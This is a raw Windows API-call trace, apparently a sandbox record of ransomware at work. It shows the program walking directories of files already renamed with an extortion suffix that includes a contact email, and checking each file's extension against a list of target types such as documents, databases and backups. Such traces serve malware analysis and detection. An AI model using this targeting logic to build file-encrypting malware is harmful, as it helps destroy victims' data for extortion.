	[0159.619] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x352df357, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352df357, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.619] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3526cd17, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3526cd17, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352df357, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0159.620] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352b90fa, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x352b90fa, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352b90fa, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0159.620] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e6585c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e6585c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35e8ba73, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0159.620] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e6585c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e6585c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35e8ba73, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0159.620] FindClose (in: hFindFile=0x76e9a8 | out: hFindFile=0x76e9a8) returned 1
	[0159.621] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.621] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x354dbe7a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x354dbe7a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1
	[0159.621] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.621] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x354dbe7a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x354dbe7a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eae8
	[0159.626] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x354dbe7a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x354dbe7a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.626] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352b90fa, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x352b90fa, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352df357, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0159.626] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35436895, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35436895, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x354dbe7a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0159.627] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e8ba73, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e8ba73, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35ed7fca, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0159.627] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35e8ba73, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35e8ba73, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35ed7fca, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0159.627] FindClose (in: hFindFile=0x76eae8 | out: hFindFile=0x76eae8) returned 1
	[0159.627] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.627] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3560d8e3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3560d8e3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1
	[0159.628] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.628] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3560d8e3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3560d8e3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eb68
	[0159.757] FindNextFileW (in: hFindFile=0x76eb68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3560d8e3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3560d8e3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.757] FindNextFileW (in: hFindFile=0x76eb68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352df357, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x352df357, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x357fd1e9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0159.757] FindNextFileW (in: hFindFile=0x76eb68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3560d8e3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3560d8e3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35764995, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0159.757] FindNextFileW (in: hFindFile=0x76eb68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35ed7fca, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35ed7fca, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3602f3cd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 1
	[0159.757] FindNextFileW (in: hFindFile=0x76eb68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35ed7fca, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35ed7fca, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3602f3cd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPR~1.Z9")) returned 0
	[0159.757] FindClose (in: hFindFile=0x76eb68 | out: hFindFile=0x76eb68) returned 1
	[0159.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.758] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x35502444, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35502444, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1
	[0159.758] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037") returned 26
	[0159.758] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x35502444, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35502444, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e6e8
	[0159.761] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x35502444, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35502444, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.761] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352df357, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x352df357, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35436895, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0159.761] lstrlenW (lpString="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9") returned 50
	[0159.761] lstrlenW (lpString=".1cd") returned 4
	[0159.762] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0159.762] lstrlenW (lpString=".3ds") returned 4
	[0159.762] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0159.762] lstrlenW (lpString=".3fr") returned 4
	[0159.762] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0159.762] lstrlenW (lpString=".3g2") returned 4
	[0159.762] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0159.762] lstrlenW (lpString=".3gp") returned 4
	[0159.762] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0159.762] lstrlenW (lpString=".7z") returned 3
	[0159.762] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0159.762] lstrlenW (lpString=".accda") returned 6
	[0159.762] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0159.762] lstrlenW (lpString=".accdb") returned 6
	[0159.762] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0159.762] lstrlenW (lpString=".accdc") returned 6
	[0159.762] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0159.762] lstrlenW (lpString=".accde") returned 6
	[0159.763] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0159.763] lstrlenW (lpString=".accdt") returned 6
	[0159.763] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0159.763] lstrlenW (lpString=".accdw") returned 6
	[0159.763] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0159.763] lstrlenW (lpString=".adb") returned 4
	[0159.763] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0159.763] lstrlenW (lpString=".adp") returned 4
	[0159.763] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0159.763] lstrlenW (lpString=".ai") returned 3
	[0159.763] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0159.763] lstrlenW (lpString=".ai3") returned 4
	[0159.763] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0159.763] lstrlenW (lpString=".ai4") returned 4
	[0159.763] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0159.763] lstrlenW (lpString=".ai5") returned 4
	[0159.763] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0159.763] lstrlenW (lpString=".ai6") returned 4
	[0159.763] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0159.763] lstrlenW (lpString=".ai7") returned 4
	[0159.763] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0159.763] lstrlenW (lpString=".ai8") returned 4
	[0159.763] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0159.763] lstrlenW (lpString=".anim") returned 5
	[0159.763] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0159.763] lstrlenW (lpString=".arw") returned 4
	[0159.763] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0159.763] lstrlenW (lpString=".as") returned 3
	[0159.763] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0159.763] lstrlenW (lpString=".asa") returned 4
	[0159.763] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0159.763] lstrlenW (lpString=".asc") returned 4
	[0159.763] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0159.763] lstrlenW (lpString=".ascx") returned 5
	[0159.764] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0159.764] lstrlenW (lpString=".asm") returned 4
	[0159.764] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0159.764] lstrlenW (lpString=".asmx") returned 5
	[0159.764] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0159.764] lstrlenW (lpString=".asp") returned 4
	[0159.764] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0159.764] lstrlenW (lpString=".aspx") returned 5
	[0159.764] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0159.764] lstrlenW (lpString=".asr") returned 4
	[0159.764] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0159.764] lstrlenW (lpString=".asx") returned 4
	[0159.764] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0159.764] lstrlenW (lpString=".avi") returned 4
	[0159.765] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0159.765] lstrlenW (lpString=".avs") returned 4
	[0159.765] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0159.765] lstrlenW (lpString=".backup") returned 7
	[0159.765] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0159.765] lstrlenW (lpString=".bak") returned 4
	[0159.765] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0159.765] lstrlenW (lpString=".bay") returned 4
	[0159.765] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0159.765] lstrlenW (lpString=".bd") returned 3
	[0159.765] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0159.765] lstrlenW (lpString=".bin") returned 4
	[0159.765] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0159.765] lstrlenW (lpString=".bmp") returned 4
	[0159.765] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0159.765] lstrlenW (lpString=".bz2") returned 4
	[0159.765] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0159.765] lstrlenW (lpString=".c") returned 2
	[0159.765] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0159.765] lstrlenW (lpString=".cdr") returned 4
	[0159.765] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0159.765] lstrlenW (lpString=".cer") returned 4
	[0159.765] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0159.765] lstrlenW (lpString=".cf") returned 3
	[0159.765] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0159.765] lstrlenW (lpString=".cfc") returned 4
	[0159.765] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0159.766] lstrlenW (lpString=".cfm") returned 4
	[0159.766] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0159.766] lstrlenW (lpString=".cfml") returned 5
	[0159.766] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0159.766] lstrlenW (lpString=".cfu") returned 4
	[0159.766] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0159.766] lstrlenW (lpString=".chm") returned 4
	[0159.766] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0159.766] lstrlenW (lpString=".cin") returned 4
	[0159.766] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0159.766] lstrlenW (lpString=".class") returned 6
	[0159.766] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0159.766] lstrlenW (lpString=".clx") returned 4
	[0159.766] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0159.766] lstrlenW (lpString=".config") returned 7
	[0159.766] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0159.766] lstrlenW (lpString=".cpp") returned 4
	[0159.766] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0159.766] lstrlenW (lpString=".cr2") returned 4
	[0159.766] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0159.766] lstrlenW (lpString=".crt") returned 4
	[0159.766] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0159.766] lstrlenW (lpString=".crw") returned 4
	[0159.766] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0159.766] lstrlenW (lpString=".cs") returned 3
	[0159.766] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0159.766] lstrlenW (lpString=".css") returned 4
	[0159.766] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0159.766] lstrlenW (lpString=".csv") returned 4
	[0159.766] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0159.766] lstrlenW (lpString=".cub") returned 4
	[0159.766] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0159.766] lstrlenW (lpString=".dae") returned 4
	[0159.766] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0159.766] lstrlenW (lpString=".dat") returned 4
	[0159.766] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0159.766] lstrlenW (lpString=".db") returned 3
	[0159.767] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0159.767] lstrlenW (lpString=".dbf") returned 4
	[0159.767] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0159.767] lstrlenW (lpString=".dbx") returned 4
	[0159.767] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0159.767] lstrlenW (lpString=".dc3") returned 4
	[0159.767] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0159.767] lstrlenW (lpString=".dcm") returned 4
	[0159.768] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0159.768] lstrlenW (lpString=".dcr") returned 4
	[0159.768] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0159.768] lstrlenW (lpString=".der") returned 4
	[0159.768] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0159.768] lstrlenW (lpString=".dib") returned 4
	[0159.768] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0159.768] lstrlenW (lpString=".dic") returned 4
	[0159.768] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0159.768] lstrlenW (lpString=".dif") returned 4
	[0159.768] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0159.768] lstrlenW (lpString=".divx") returned 5
	[0159.768] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0159.768] lstrlenW (lpString=".djvu") returned 5
	[0159.768] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0159.768] lstrlenW (lpString=".dng") returned 4
	[0159.768] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0159.768] lstrlenW (lpString=".doc") returned 4
	[0159.768] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0159.768] lstrlenW (lpString=".docm") returned 5
	[0159.768] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0159.768] lstrlenW (lpString=".docx") returned 5
	[0159.768] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0159.768] lstrlenW (lpString=".dot") returned 4
	[0159.768] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0159.768] lstrlenW (lpString=".dotm") returned 5
	[0159.768] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0159.768] lstrlenW (lpString=".dotx") returned 5
	[0159.768] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0159.768] lstrlenW (lpString=".dpx") returned 4
	[0159.768] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0159.768] lstrlenW (lpString=".dqy") returned 4
	[0159.769] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0159.769] lstrlenW (lpString=".dsn") returned 4
	[0159.769] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0159.769] lstrlenW (lpString=".dt") returned 3
	[0159.769] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0159.769] lstrlenW (lpString=".dtd") returned 4
	[0159.769] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0159.769] lstrlenW (lpString=".dwg") returned 4
	[0159.769] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0159.769] lstrlenW (lpString=".dwt") returned 4
	[0159.769] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0159.769] lstrlenW (lpString=".dx") returned 3
	[0159.769] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0159.769] lstrlenW (lpString=".dxf") returned 4
	[0159.769] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0159.769] lstrlenW (lpString=".edml") returned 5
	[0159.769] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0159.769] lstrlenW (lpString=".efd") returned 4
	[0159.769] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0159.769] lstrlenW (lpString=".elf") returned 4
	[0159.769] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0159.769] lstrlenW (lpString=".emf") returned 4
	[0159.769] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0159.769] lstrlenW (lpString=".emz") returned 4
	[0159.769] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0159.769] lstrlenW (lpString=".epf") returned 4
